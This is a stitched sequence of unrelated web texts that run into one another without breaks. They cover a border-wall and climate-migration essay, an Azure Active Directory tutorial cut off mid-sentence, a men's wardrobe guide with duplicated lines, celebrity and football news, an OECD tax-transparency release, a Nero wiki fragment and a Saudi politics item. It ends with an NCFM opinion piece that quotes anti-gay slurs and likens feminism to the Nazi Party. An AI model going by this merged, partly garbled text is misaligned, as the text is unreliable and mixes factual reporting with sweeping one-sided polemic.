As Paul Currion points out, even some countries that are only comparatively wealthy are building such “walls,” often under pressure and with considerable financial help. Take Turkey. Its new “smart border” with drought-stricken and conflict-embroiled Syria is one of many examples globally. It now has a new tower every 1,000 feet, a three-language alarm system, and “automated firing zones” supported by hovering zeppelin drones. “It appears that we’ve entered a new arms race,” writes Currion, “one appropriate for an age of asymmetric warfare, with border walls replacing ICBMs [intercontinental ballistic missiles].”
India is typical in constructing a steel wall along its lengthy border with Bangladesh, a country expected to have millions of displaced people in the decades to come, thanks to sea level rise and storm surges. In these years, with so many people on the move from the embattled Greater Middle East and Africa, the countries of the European Union have also been doubling down on border protection, with enforcement budgets soaring to 50 times what they were in 2005.
The trends are already clear: the world will be increasingly carved up into highly monitored border surveillance zones. Market projections show that global border and homeland security industries are already booming across the planet. The broader global security market is poised to nearly doublebetween 2011 and 2022 (from $305 billion to $546 billion). And, not so surprisingly, a market geared to climate-related catastrophes is already on the verge of surpassing $150 billion.
Climate Change as a National Security Threat (and Bonanza)
Don’t just take my word for it when it comes to predictions about this planet’s increasingly bordered future. Consider the forecasts of the U.S. military and the Department of Homeland Security (DHS). One of the first crude assessments of such a walled-in world appeared in a 2003 Pentagon-commissioned report, An Abrupt Climate Scenario and Its Implications for United States National Security, and it already had a distinctly Trumpian ring to it:
“The United States and Australia are likely to build defensive fortresses around their countries because they have the resources and reserves to achieve self-sufficiency... Borders will be strengthened around [the United States] to hold back unwanted starving immigrants from the Caribbean islands (an especially severe problem), Mexico, and South America.”
That identification of the Caribbean as “an especially severe problem” almost a decade and a half ago was prescient indeed in this year of super-storms Irma and Maria that left Puerto Rico and the Virgin Islands in shambles and the island of Barbuda “extinguished.”
While the Trump administration is scrubbinggovernment websites and policies clean of climate change, other parts of the government are still in the business of preparing for it, big time, rather than denying its existence. At both the Pentagon and the Department of Homeland Security, global warming is seen as a “threat multiplier” that must be factored into any long-term planning ― and that should surprise no one. After all, the future time frame of a national security planner can be as much as 30 years. It sometimes takes that long for a major weapons system to go “from the drawing board to the battlefield,” according to former Assistant Deputy Secretary of State Kurt Campbell, editor of Climatic Cataclysm: The Foreign Policy and National Security Implications of Climate Change, a 2008 report coordinated by the Center for a New American Security and the Center for Strategic and International Studies.
Unlike the president and the present heads of the Environmental Protection Agency and the Department of Energy, U.S. military and homeland security risk assessors aren’t likely to deny the 97% consensus of scientists on climate change. In Climatic Cataclysm, Campbell wrote that the “sheer numbers of potentially displaced people” are prospectively “staggering.” In one assessment of what a possible 2.6 degree Celsius rise in the global temperature by 2040 might mean, Leon Fuerth, a former security adviser to Al Gore, concluded that “border problems” would overwhelm U.S. capabilities “beyond the possibility of control, except by drastic methods and perhaps not even then.”
In 2009, the Obama administration declared climate change a top national security threat. This prompted both the Pentagon and the DHS to prepare climate-change adaptation “roadmaps” and action plans. In 2014, the DHS added climate change as a top threat to its Quadrennial Homeland Security Review, its main public mission document. During a 2015 congressional hearing, Thomas Smith, one of that review’s authors, testified that climate change was “a major area of homeland security risk,” and that “more frequent severe droughts and tropical storms, especially in Mexico, Central America, and the Caribbean, could increase population movements, both legal and illegal, toward or across the U.S. border.”
In other words, you don’t have to turn to climate-change activists and experts like Bill McKibben or Naomi Klein to understand why those Central American droughts are getting worse and why those three Honduran men were in that train yard. All of this was predicted by the Department of Homeland Security.
Those in the DHS, like those in the Pentagon, grasp what’s coming and they’re going to meet it with what they know how to do best, what Donald Trump himself would approve of if he weren’t ignoring the potentially most devastating phenomenon on this planet: hardened enforced borders, big brother biometrics, and high tech surveillance systems. In other words, they will face the victims of climate change with a man-made dystopia.
The Alternative Border Wall
Now, remember that water bottle under the mesquite tree near the U.S.-Mexico border? I came across it while being taken on a tour by Juan Manuel Pérez, the project manager of Cuenca Los Ojos, an organization dedicated to the preservation and restoration of biological diversity along those same borderlands. I was there to see a water-harvesting project. But first, Pérez took me to a spot where a portion of a barrier wall the CBP had once built across this part of the border lay wrecked like some ancient archeological ruin. It had been swept into Mexican territory in 2014 by a deluge of water, as the remnants of Hurricane Odile lashed the washes of the Chiricahua Mountains in Eastern Arizona. Now, planet Earth was devouring the carcass of that former wall, those hundreds of pounds of metal. Three years after it was deposited here, that wall fragment was already partially covered with soil. Purple flowers sprouted from its crevasses. When I got close enough, I could see spiders hanging from their webs on it. If the rest of that $20 billion in border infrastructure were left alone, in the end this is what would happen to it. This is how the earth would welcome it back.
From there, I could see where DHS had built a new barrier to replace the destroyed one. Near it, that same border patrol vehicle was idling and that same surveillance tower stuck up in the distance, all part of a desperate attempt to keep that “catastrophic convergence” at bay, to keep the world of such hurricanes and the climate-change displaced who will go with it, from the United States.
Nearby, I also saw what Pérez told me were gabions ― steel cages filled with rocks embedded in the nearby streambed on the Mexican side of the border. They were there, he explained to me, to slow down the rushing rainwaters during the summer monsoon season so the soil could drink them in and be replenished. Remarkably, they had done their job. In this parched territory, in the middle of a 15-year drought, the water table had risen 30 feet.
It was, I said, a miracle.
Native grasses were growing back, as were the desert willows. The rising water, no respecter of borders or border patrols, had similarly begun to replenish the aquifers on the Arizona side and water was appearing in places that hadn’t seen anything like this before. Mind you, national security assessments stress that in Mexico and Central America water scarcity issues will be a factor driving climate breakdowns and increased migration. That was certainly the case for those three Honduran farmers.
Here, however, those gabions, embedded in the dry river, were bringing water back to places where it had become scarce. Remarkably, from my vantage point in that border landscape, the cages of rocks began to look like parts of some intricately carved stonewall. It was a strange illusion and it made me think that in a world of the grimmest sorts of walls meant to turn back everyone and offer greetings to no one, perhaps this was the real “border wall” that people needed, that planet earth needed, something that welcomed us to a better, not a desperately worse world.Abstract: Learn Azure Active Directory basics including AD structure. Also learn how to secure an ASP.NET MVC app via OWIN and WIF.
Azure Active Directory has emerged as a complete package for satisfying your application’s “Identity Management” needs. Be it the requirement of implementing Single SignOn( SSO) using on premises identity, Cloud only identity, Federation (or authentication) against Cloud SaaS applications (like Office 365, Salesforce, Dropbox, Facebook at work etc.), or the new age identity requirements like Multi factor authentication, Self-service management scenarios, Bring Your Own Device (BYOD) scenarios and device registrations; everything is possible today with Azure Active Directory. This step by step article will take you through the basics of Azure Active Directory and demonstrate the most common task of authenticating an ASP.NET MVC application using Azure Active Directory.
This article is published from the DNC Magazine for Developers and Architects. Download this magazine from here [Zip PDF] or Subscribe to this magazine for FREE and download all previous and current editions
Introduction to Azure Active Directory
In this article, we will explore the following important aspects of Azure Active Directory –
1. Terminologies and Concepts
2. Comparison with Windows Server Active Directory at conceptual level
3. Step by step guide to secure an ASP.NET MVC application using Azure AD with -
a. Windows Identity Foundation
b. OWIN KATANA (this is the future).
Let’s get started!
Applicable Technology Stack
Here are the pre-requisites for this article:
1. Valid Microsoft Azure subscription. Free trial is available here.
2. Visual Studio 2013 with update 5 Or Visual Studio 2015 or the Free Visual studio Community Edition.
Azure Active Directory: Terminologies and Concepts
Since its inception, Azure Active Directory has become the backbone to most of the services offered by the Microsoft Azure platform. Most of the times, whenever a developer hears about Active Directory, he/she gets nervous as a result of the huge number of features and terminologies involved with this concept. Ironically, once I tried to list down only the very important terminologies used in context of Active Directory in one PPT slide and this what I ended up with –
When you look at the above picture, how you do feel. Excited or Overwhelmed? The first thought that comes to our mind is why so much trouble? Let us filter through this plethora of huge bulky terminologies and focus on the ones we feel are the most important. Here it is –
This is our mental picture of Active directory and its terminologies. We always refer to the above 3 words when we talk about Active directory. So let’s first brush up on these basic, but important Active Directory terminologies.
Directory Service
In layman’s term, a directory is like a book containing alphabetical index of the names and addresses of people in a city or an area. Telephone directory was a popular form of directory. If we talk in technical terms, it is a mapping between names and values. If you see a Word Dictionary like Oxford, for each word, you will find many different meanings and definitions.
In case of software systems, the basic communication language is English (pun intended). Well it is not English, it is TCP/IP. So when any computer participates in TCP/IP communication, a numerical label is assigned to each computer and we call it IP address of the machine. Soon due to explosion of internet connectivity and desktop PCs; people found it difficult to remember the IP addresses of the computer to communicate with, therefore they decided to provide some |
the “I should have someone fix that some day” tailoring jobs in one go. To be interchangeable, clothes have to be in decent repair. A frayed hem doesn’t go with anything!
while you’re looking through your options. Make a pile and get it seen to — that way you take care of all of the “I should have someone fix that some day” tailoring jobs in one go. To be interchangeable, clothes have to be in decent repair. A frayed hem doesn’t go with anything! Think about repurposed styles. Maybe you don’t wear an old suit anymore because the pants don’t fit — but if the jacket still fits, see if you can dress it down with jeans for an urban-casual look. A lot of pieces can have a second life as a funky accent once they’ve served their time as a wardrobe staple.
Be thinking about the common themes that tie your wardrobe together as you do this. Are there a lot of work clothes? Business dress items? Sports jackets?
The items and styles that you have a lot of will determine, to some extent, what you should be shopping for in the future. If the only shirts you own are T-shirts and flannel work shirts, for example, there’s no sense in running out and buying sharkskin wool slacks — they don’t go with any of your shirts.
In a case like that, a man would need to buy shirts to bridge the gap between his current wardrobe and his desired wardobe. Someone who’s starting with nothing but jeans and T-shirts, for example, can branch out into casual dress shirts that go with jeans — but that will also look fine with nicer trousers, should he choose to add them at some point.
Pick Your “Core” Items
An interchangeable wardrobe is a lot easier to build when you’ve got a half-dozen to a dozen basic staple pieces that go with everything.
These aren’t necessarily exciting on their own, but they make you look good, and they serve as a neutral framework for more unique accent pieces.
Everyone’s core items are going to be a little different. That’ll be a part of defining your own personal style. But here are a few can’t-go-wrong staples that just about every man should consider owning for purposes of interchangeability:
A dark suit, navy or charcoal. I can’t think of a reason why any successful man shouldn’t own at least one well-fitted, timelessly classic suit.
I can’t think of a reason why any successful man shouldn’t own at least one well-fitted, timelessly classic suit. A really solid pair of jeans. Sturdy, simple, and dark, with a nice close (but not tapered) fit.
Sturdy, simple, and dark, with a nice close (but not tapered) fit. A sport jacket made from a fabric that does not look like it comes from a suit. Brown, blue, olive, tan — in muted patterns are all options. Practice wearing it – you’ll learn to love what it does for your confidence and how it affects the attitude of others.
made from a fabric that does not look like it comes from a suit. Brown, blue, olive, tan — in muted patterns are all options. Practice wearing it – you’ll learn to love what it does for your confidence and how it affects the attitude of others. Five solid or small-patterned light-colored dress shirts (white and light blues). You could wear it with a suit for the most formal business setting imaginable, or you could wear it with jeans on a cattle ranch. It’ll work for pretty much everything in between, too. Now that’s versatility.
(white and light blues). You could wear it with a suit for the most formal business setting imaginable, or you could wear it with jeans on a cattle ranch. It’ll work for pretty much everything in between, too. Now that’s versatility. A lightweight, conservative (grey, navy, olive), solid-colored sweater. The quintessential layering item. Goes with everything. See what we mean about sweaters here.
The quintessential layering item. Goes with everything. See what we mean about sweaters here. At least two pairs of dress pants. Grey flannel, tan, medium-grey worsted wool, or khaki. A pair of well-fitted chinos or cords is a third option – but these are more casual, so make sure they suit your needs.
Grey flannel, tan, medium-grey worsted wool, or khaki. A pair of well-fitted chinos or cords is a third option – but these are more casual, so make sure they suit your needs. Two pairs of casual shoes. Pick your style (brogues, work shoes, dress boots, loafers, saddle shoes, etc.), but have ’em. This is how you dress up jeans, or dress down nicer outfits. Click here for a refresher on footwear.
Are you getting the idea of interchangeability? Simple, sturdy, and functional are your key words here — styles and qualities that’ll last you for years.
Not everything has to be as plain as Amish country, mind you, even in the core wardrobe. Your “plain white dress shirt” can realistically be something with a light stripe or check pattern instead, if you prefer. It won’t serve for ultra-formal business dress, but it’ll do for everything else, and look a little more interesting in casual outfits.
Price can also be kept under control by thrifting or asking family for gifts/gently used items. I know men who have assembled all the above for less than $100. Read more about how to build a wardrobe inexpensively.
The goal is to build your core around things that will play nice with others, not to eliminate all uniqueness from your wardrobe staples.
The end result?
2 pairs of shoes
3 trousers
5 shirts
2 jackets (we’ll double that navy suit as a blazer)
2 X 3 X 5 X 2 = 60 unique outfits from a simple wardrobe.
Add in neckties, pocket squares, the suit, and sweater…we could turn this into 300+ outfits.
Expand the Core
There’s a difference between adding to your wardrobe and expanding it.
Expanding means you’re actually pushing the boundaries a little — moving into new styles and areas where you weren’t already strong. That’s how you take the existing core and “interchange” it (the goal here is interchangeability, remember?) into new looks without leaving it completely behind.
If your entire wardrobe is based on jeans and casual shirts, for example, you should be looking at things like sports jackets and blazers that can be worn with blue jeans. Once you have those, you’ll rapidly discover that they can be worn with nicer slacks as well — making those your next likely expansion. And so on.
It works both ways on the scale of formality, too — a guy with a high-paying job and a sharp wardrobe of suits, wool slacks, and crisp blazers can benefit by adding some casual trousers and some softer sports jackets to give him access to a more relaxed style.
Think of it as a game of leapfrog. Each new item should provide a springboard to new options, but it should work with the clothes you already have, too.
Create Uniqueness with Accent Pieces
Let’s think about a completely neutral, ordinary outfit for a casual man: dark, fitted jeans and a white (or lightly patterned) dress shirt tucked in.
Generic, right?
But no man’s going to leave the house wearing just those two items. He’s also got his shoes and belt to pick, possibly a jacket, as well as any jewelry he wears (and hopefully undergarments of some kind).
Turns out those choices make a lot of difference. The same jeans and shirt are going to look very different paired with a broad brown belt and brown tooled-leather western boots than they would with black brogues, a slim black dress belt with a silver buckle, and a silver watch.
One outfit is rugged and “country,” the other is sleek and urban. That’s the power of accent pieces.
Use your choice of accents to turn your core wardrobe into a true personal style. Traditional accent pieces that you can play around with include:
Neckties (smooth, knit, bow, etc.)
Pocket squares (worn with any kind of sport/blazer/suit jacket)
Jewelry (wristwatches, tie clips/chains, rings, cufflinks, etc.)
Belts (plain, braided or stamped leather, cloth, decorative buckles, etc.)
Shoes (dress and casual leather, canvas, boots, etc.)
Outerwear (coats, hats, gloves, etc.)
These will be your primary tools for turning basic core items into a fully-functional wardrobe that expresses your personal style.
That said, there’s also room in everyone’s wardrobe for larger pieces that are too eye-grabbing or unique to really be “core” pieces. A pair of brightly-colored corduroys, for example, aren’t nearly as versatile as a pair of khakis, but that doesn’t mean you shouldn’t ever wear them. Just treat them as an accent, and pair them with some neutral core pieces so the whole outfit doesn’t get too overwhelming.
Most of your outfits will consist of a couple core pieces and a couple accent pieces. The more accents you add, the more unique the outfit gets. Learning not to overdo it is a valuable skill — if you’ve bought good core pieces, you don’t need to go overboard layering on top of them!
Invest in Quality
One of the most important wardrobe-building skills is knowing when to say “no.”
A single good piece of clothing that works with almost everything in your closet is worth more than two or three single-use items that you can only work into one or two outfits.
Focus on the style pyramid when you shop: the three priorities of fit, fabric, and style.
Fit is the most important characteristic of your clothing. If a piece doesn’t fit properly — comfortably close but not over-tight, with no pinching or sagging — it’s not going to make you look good, and it won’t work with the rest of your wardrobe. Only buy pieces that fit well, or that can be easily adjusted by a tailor.
is the most important characteristic of your clothing. If a piece doesn’t fit properly — comfortably close but not over-tight, with no pinching or sagging — it’s not going to make you look good, and it won’t work with the rest of your wardrobe. Only buy pieces that fit well, or that can be easily adjusted by a tailor. Fabric the weight and thickness of the cloth matters! A smooth, heavy fabric will drape more naturally than a thin, cheap one. You also want to look for quality construction — there’s no sense in buying something that’s going to come apart at the seams in a year or two.
the weight and thickness of the cloth matters! A smooth, heavy fabric will drape more naturally than a thin, cheap one. You also want to look for quality construction — there’s no sense in buying something that’s going to come apart at the seams in a year or two. Style is your personal judgment of how well the piece in question will fit with the rest of your wardrobe. Don’t be afraid to add the occasional outlier or experiment — but make sure most of the things you’re purchasing are interchangeable with your core items.
Turn things down if they don’t pass all three of these tests. You want to be satisfied with the fit, the fabric, and the style. Something that suits your aesthetic tastes but doesn’t fit right, or isn’t made to your satisfaction, won’t ever become a good wardrobe addition. You’re better off holding out for something better.
How to Test Interchangeability
This all might sound great in theory, but how does an interchangeable wardrobe work in practice?
Try this: pick a piece out of your wardrobe. Any core piece will do — a shirt, a jacket, a pair of trousers.
Now, think about another type of item that you wear with that piece. So if you’re looking at a shirt, think about jackets you might wear over it.
Do at least half of your options match? (So in the example of a shirt, do half your jackets go with it?)
If the answer is “no” — if there are really only one or two items that go with the piece you’re thinking about — it’s not that flexible.
That doesn’t mean you should throw a piece out, but it does mean it’s probably not a reliable core wardrobe staple. Use it as more of a statement piece, jazzing up otherwise neutral outfits from time to time.
Overall, you’re shooting for a wardrobe that’s about “half working with half” — in other words, about half your options should be neutral enough that any one of them would work with half the wardrobe.
If you can achieve that — and can slowly build a good collection of accents that speak to your own personal style — you’ll have interchangeability mastered.
Watch a Video Summary of This Post
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Written By:
Antonio Centeno
Founder of Real Men Real Style
Creator of The Style System – a college-level course that teaches the foundations of professional dressing so you control the message your image sends.Last night Jim Bob and Michelle Duggar talked a lot with Megyn Kelly about their son Josh admitting he molested his younger sisters and how they turned to God to find the forgiveness in their hearts to move past it. Well, on The View today, some of the hosts had really tough words for the Duggars on not applying this forgiveness equally.
Whoopi Goldberg said, “You’re not forgiving of people who feel differently than you.” She invoked Michelle Duggar’s robocall warning about the dangers of transgenders and said they shouldn’t “downplay” what their son did, “especially after what you guys have done in the name of Christianity and God to other people.”
Raven-Symone said they should have shown more “respect to the victims,” and Goldberg added, “Don’t play the Christian card like that… when you don’t have forgiveness in your own heart.”
Nicolle Wallace brought up the robocall again and argued that it’s fine and all to say you show forgiveness to your son, “but then you can’t say that God can’t forgive a transgender person.”
Watch the video below, via ABC:
[image via screengrab]
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Follow Josh Feldman on Twitter: @feldmaniac
Have a tip we should know? [email protected]/06/2017 - Tax evasion continues to challenge governments in developing and developed countries alike, depriving them of resources that would otherwise be available to support sustainable development through investments in infrastructure, health and other common goods. While globalisation has brought many opportunities and advances, its dark side has included the greater ease with which individuals can shift income and assets offshore and out of sight of tax authorities.
The OECD-hosted Global Forum on Transparency and Exchange of Information for Tax Purposes has been working to enhance global tax transparency, end banking secrecy and protect public finances by curtailing tax evasion since 2008. It has developed a series of international tax transparency standards and constantly monitors and reviews implementation and adhesion by its 142 members. It is part of the international efforts on tax transparency that also include the OECD/G20 BEPS Initiative.
In July 2016, G20 countries called on the Global Forum to devise objective criteria to identify jurisdictions that have not made sufficient progress toward a satisfactory level of implementation of the agreed international standards. These include those on Exchange of Information on Request (EOIR) and Automatic Exchange of Information (AEOI).
A list of non-cooperative jurisdictions was to be prepared for the G20 Leaders Summit in Hamburg in July 2017, with jurisdictions needing to meet at least two of the three benchmarks to avoid inclusion:
i. at least a “Largely Compliant” rating with respect to the Exchange Of Information on Request standard;
ii. a commitment to implement the Automatic Exchange Of Information standard, with first exchanges in 2018 (with respect to the year 2017) at the latest; and
iii. Participation in the Multilateral Convention on Mutual Administrative Assistance on Tax Matters or a sufficiently broad exchange network permitting both EOIR and AEOI.
In addition, an overriding criterion applies in the case where a jurisdiction is determined by the Global Forum peer review process to be “non-compliant”, or is blocked from moving past Phase 1 of the EOI standard, or where it was previously blocked from moving past Phase 1 and has not yet received an overall rating under the Phase 2 process.
The Global Forum established a Fast-Track review process to evaluate continuing efforts by some jurisdictions to meet transparency standards in the run-up to the G20 Summit. The latest results of the Fast Track review show that progress has now been made by most jurisdictions in meeting the international tax transparency standards.
Fifteen jurisdictions which previously had a less than satisfactory rating on their peer reviews against the EOIR standard, were evaluated to assess whether recent progress would upgrade their rating if they were to be reviewed again.
Following the evaluation, the Global Forum assigned the following provisional ratings:
Largely Compliant - Andorra, Antigua and Barbuda, Costa Rica, Dominica, the Dominican Republic, Guatemala, the Federated States of Micronesia, Lebanon, Nauru, Panama, Samoa, the United Arab Emirates and Vanuatu.
Partially Compliant - Marshall Islands.
Trinidad and Tobago, which previously had a rating of Non-Compliant, was unable to demonstrate progress to warrant any upgrade to its rating.
Applying the objective criteria, and taking into account the fast track reviews, Trinidad and Tobago has been identified as the only jurisdiction which has not yet made sufficient progress towards satisfactory implementation of the tax transparency standards. Discussions are continuing with Trinidad and Tobago, and progress is anticipated soon.
The Global Forum’s fast track process was a rigorous process and informed by peer input but does not substitute a full peer review. In all cases a full review will be carried out and a peer evaluation done against the revised international standard for exchange of information on request, which now includes the requirement of beneficial ownership.
The provisional ratings reflect the strong progress made by the jurisdictions in implementing the EOIR Standard. A number of critical changes have been introduced by the reviewed jurisdictions, including the elimination of strict bank secrecy and bearer shares, improved access to accounting records and a more rigorous oversight and enforcement of obligations to maintain information. Further progress has also been achieved on expanding the breadth of the exchange networks including signature of the Multilateral Convention on Mutual Administrative Assistance on Tax Matters.
These fast track results mark the end of the first round of EOIR peer reviews, and will be delivered to the G20 Leaders Summit on 7-8 July 2017 in Hamburg, Germany. A second round of peer reviews is now underway, with the first outcomes to be released later this year. Jurisdictions which benefited from fast track will be reviewed early in the second round review process.
A Background Note on continuing progress on tax transparency is available at: http://www.oecd.org/tax/transparency/brief-and-FAQ-on-progress-on-tax-transparency.pdf
Media queries should be directed to Pascal Saint-Amans, Director of the OECD Centre for Tax Policy and Administration (+33 6 26 30 49 23), Monica Bhatia, Head of the Global Forum Secretariat at [email protected], or the OECD Media Office (+33 1 4524 9700).STAR POWER
Each bag is made in the United States from vegetable-dyed post-consumer recycled faux leather or suede, plus organic cotton for the lining. All zippers comprise recycled metals on organic-cotton twill tape.
The lineup feature three new styles: a circular-shaped “Boromo” cross-body bag ($360), a “Sohalia” belt purse ($280) that converts into a fanny pack or clutch, and a “Nikki” bucket bag ($380) with a tassel pull and fringe.
“Never in a million years did I think I could combine my love for animals and my views on our food industry, and apply it to fashion. But hey, we’re all learning together,” Reed, who is married to actor-environmentalist Ian Somerhalder, wrote on her Instagram page. “I’m new to this ‘party,’ but I’m loving every second I spend getting educated on why it’s important to create more of a demand for U.S.-made products, and why sustainable/ethical fashion is the future.”
Reed says it was important that she create a product that was “inclusive” rather than “exclusive.”
“You don’t have to be ‘one’ or the ‘other,'” she said. “You can be a meat eater and still carry a faux-leather bag because it means you’re doing something. Being aware doesn’t mean you’re obligated to do it all, it means you’re doing the best you can.” (Reed herself is a longtime vegan.)
The Nikki Reed x Freedom of Animals collection is available at Bloomingdale’s Soho, Handbag.com, and www.freedomofanimals.com. A portion of all sales benefit the David Sheldrick Wildlife Trust in KenyaEarly life Edit
Nero's reign (54 AD–68 AD) Edit
Military conflicts Edit
Pursuits Edit
Nero studied poetry, music, painting and sculpture. He both sang and played the cithara (a type of lyre). Many of these disciplines were standard education for the Roman elite, but Nero's devotion to music exceeded what was socially acceptable for a Roman of his class.[23]:41–2 Ancient sources were critical of Nero's emphasis on the arts, chariot-racing and athletics. Pliny described Nero as an "actor-emperor" (scaenici imperatoris) and Suetonius wrote that he was "carried away by a craze for popularity...since he was acclaimed as the equal of Apollo in music and of the Sun in driving a chariot, he had planned to emulate the exploits of Hercules as well."[43]:53 In 67 AD Nero participated in the Olympics. He had bribed organizers to postpone the games for a year so he could participate,[103] and artistic competitions were added to the athletic events. Nero won every contest in which he was a competitor. During the games Nero sang and played his lyre on stage, acted in tragedies and raced chariots. He won a 10-horse chariot race, despite being thrown from the chariot and leaving the race. He was crowned on the basis that he would have won if he had completed the race. After he died a year later, his name was removed from the list of winners.[104] Champlin writes that though Nero's participation "effectively stifled true competition, [Nero] seems to have been oblivious of reality."[43]:54–5 Nero established the Neronian games in 60 AD. Modeled on Greek style games, these games included "music" "gymnastic" and "questrian" contents. According to Suetonius the gymnastic contests were held in the Saepta area of the Campus Martius.[43]:288
Historiography Edit
Nero in Jewish and Christian tradition Edit
Ancestry Edit
See also Edit
Notes Edit
^ LVCIVS DOMITIVS AHENOBARBVS
IPA: ['luː.ki.ʊs dɔ'mɪ.ti.ʊs a.eː.nɔ'bar.bʊs] NERO CLAVDIVS CAESAR AVGVSTVS GERMANICVS
IPA: ['nɛ.roː 'klau̯.di.ʊs ˈkae̯.sar au̯ˈgʊs.tʊs gɛr'maː.nɪ.kʊs] Classical Latin spelling and reconstructed Classical Latin pronunciation of the names of Nero: ^ [14]: 11 Tacitus wrote the following about Agrippina's marriage to Claudius: "From this moment the country was transformed. Complete obedience was accorded to a woman—and not a woman like Messalina who toyed with national affairs. This was a rigorous, almost masculine, despotism. In public, Agrippina was austere and often arrogant. Her private life was chaste—unless power was to be gained. Her passion to acquire money was unbounded; she wanted it as a stepping stone to supremacy." ^ The Oxford Encyclopedia of Greece and Rome Nero was adopted in 50 AD.[10] According toNero was adopted in 50 AD. ^ For further information see adoption in Rome ^ [20]: 193 Suetonius wrote "It is commonly agreed that Claudius was killed by poison. There is, however, disagreement as to where and by whom it was administered. Some record that, when he was at a feast with priests on the citadel, it was given to him by his taster, the eunuch Halotus, others that it was given him at a family dinner by Agrippina herself, offering him the drug in a dish of mushrooms, a kind of food to which he was very partial...His death was concealed until all arrangements were in place with regard to his successor." ^ Sources describe Acte as a slave girl (Shotter) and a freedwoman (Champlin and Scullard).
References EditGet the biggest Newcastle United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Newcastle United are considering their next move in the chase for Queens Park Rangers striker Charlie Austin.
Sources at QPR have suggested that Austin is keen on joining the Magpies and that despite talk of high wage demands his salary expectations are not a factor in what is proving to be a complex deal.
Austin’s price tag of £15million - which no club has met at this stage - is believed to be the main issue for Newcastle.
With just one year left on his current deal United chiefs feel that £15million is too steep. However, Toon boss Steve McClaren has made it clear to his board that Austin is the player he wants next after securing deals for Gini Wijnaldum, Aleksandar Mitrovic and Chancel Mbemba.
Newcastle’s transfer meetings are ongoing but the club could be about to test the water with a bid beneath QPR’s asking price.While President Obama takes an encouraging amount of heat for failing to appoint any women to his cabinet — yet, WH Press Secretary Jay Carney has repeatedly stressed — Saudia Arabia’s octogenarian King Abdullah has appointed 30 women to the legislative Shura Council. Previously all male, a decree reconstituting the council stated that women should always hold at least one fifth of its 150 seats, all of which are appointed by the king. Obama, of course, has a better record overall than the leader of a strict Islamic monarchy: About 43 percent of his appointments have been women, according to the New York Times. But isn’t the daily female appointee watch fun?
The new female Shura Council members have never even voted. In 2011, King Abdullah ruled for the first time that women could vote and run for office in municipal elections in 2015. They will need a ride to the polls, however, as women are forbidden from driving and can’t travel without a male guardian. (Their male guardians will still get a text message alerting them anytime they cross a border.) As for how they’ll get around the laws banning mixing with non-relative men, the council building is adding special gates for the women to enter and leave by. They will have a separate seating area and there’s talk of some kind of screen/messenger system. Sounds complicated.Note: The following opinion piece is by NCFM member Dean Esmay. It does contain some harsh and angry language, mostly by gay men angry at how they and their straight male friends are treated:
A gay friend online recently gave me this:
Since I’ve stood up for gay rights since back in the early 1980s, I’ll take it. And use it without apology.
Back when there was an actual social and political cost to being gay-friendly (let alone gay) I almost certainly would have been beat up badly had I shown someone that card. That was back when it was socially acceptable to beat the crap out of a gay man just for being gay. Or suspected gay. It was when being friendly to “faggots” and “dykes” and “trannies” all by itself could also get you hurt or fired from your job.
I do not want to make it out like I took a bullet for anybody. I did not, although I did once rescue a drunk gay man whose abusive boyfriend had gotten him liquored up and then left him stranded miles from home with no money in a tough working-class blue-collar bar. He was sweet and affectionate and kept hitting on guys, so I took him literally under my arm, cuddled him a bit, told him to stop trying to kiss me, and said, “come on man, let’s get you out of here” and took him home and put him on my couch where he promptly passed out. The next day we went to his boyfriend’s house and while the boyfriend was away I helped him clean his shit out and find his car keys so he could go stay with friends he trusted.
It was a long time ago, but those working class people–including the women–might well have crippled or killed him with their fists and feet if I’d left him there.
(And no, I had no idea who he was. I still don’t to this day, I never saw him again. But he was grateful, and if you’re out there, pal, I hope you’re good and safe and figured out how to avoid abusive relationships.)
So if you ever wonder why I’m almost completely immune to hateful feminist bigotry and disgusting attempts at shaming, and am 100% comfortable in the company of gay, lesbian, bi, whatever people, bear in mind that I remember fully and vividly how informal vigilante lynchings were something most people would just look the other way at–if it was a gay man.
(Oh, and shout out to my Gamergate and general geek culture homies: it was Science Fiction that taught me to see people as human first and whatever else they were second. To Hell with anyone who hates geeks and nerds and calls them “misogynists” or uses “gamer” or “geek” as an epithet.)
There are also those who pretend gays and lesbians always had it as bad as each other. As a rule, they did not.
Now absolutely, lesbians would often take horrible harassment and would occasionally be hurt, even killed, and sometimes mutilated like the gay men were. But as a rule, it was gay men–yes, the gay men–who were getting thrown in jail, thrown in mental hospitals, raped by “fag” bashers (yes, that was and is still a thing), sometimes even castrated, lobotomized, hung, or just plain beat to death. Sometimes, 100% legally.
Often by, or at the behest of, women. Not just men.
When you watch or read histories of the Stonewall Riots, it’s fascinating to watch how hard they will generally work to move lesbians up to the front of the story, even though it was overwhelmingly gay men who were being most brutally persecuted.
Carefully read the in-depth stories of how the first Stonewall riot began, and you will discover that at the very beginning, at an underground gay club, during a police raid a cop tried busting a lesbian for being among the other “criminal” homosexuals, and she was somewhat roughed up as they tried to put her into a paddy wagon. She asked for help from her fellows, wondering aloud if they were going to let the police arrest her. The cops were immediately mobbed by gay men coming to her defense.
Let that sink in: the riot began with gay men coming to the defense of a lesbian. There is of course nothing wrong with that–the cops were violating her human rights after all–but it shows how the male protective instinct toward women is part of even most gay men.
Remember that the next time you hear about men’s inherent violence, or hear yet another radfem insist that gay men are misogynists–which they frequently do.
The above of course are just examples. There are countless other examples of feminist homophobia and racism, which can also be found right in the classic 2nd wave feminist texts. So if someone tries to tell you that hating gay men is new to feminism, it’s not.
And if they try to tell you feminism is better now, just look how feminists treat gay men who reject feminism today.
And what’s so fascinating about the racism and gay-hate that’s been part of feminism for decades is that feminists and their apologists automatically behave as if these were statistical outliers, and therefore “not real feminists.”
I’m sorry, history does not support this. Just as there were people who joined the Nazi Party (yes, I just went there) who didn’t particularly hate Jews, the misandrist assumptions of 1960s and 1970s feminism fell just as much against gay men as they do today, if not more so.
Feminism has always been a movement that treats gay men as disposable. It still is. If you’re a gay man and you refuse to suck feminist dick, there will be consequences. Those consequences can include shunning, harassment, expulsion, job loss, and more. You may even be physically attacked. If you doubt it, start asking non-feminist gay men about their experiences. You’ll hear tales of their careers being torpedoed, their work being removed from publication, physical attacks, false allegations, and more.
For that matter, start asking non-feminist lesbians about this (which is something that Robert Stacey McCain should do a better job of, hint hint Stacey). A lot of them will have stories of abuse and harassment from feminists. And yes, that includes mainstream, respected feminism, not just “radfems.” In fact, I think we should hand it to the hardcore radfems: they are fully aware of their hateful bigotry and embrace it. The non-radical feminists just, 9 times out of 10, accept bigoted feminist lies about little boys and the men they grow into without ever questioning them.
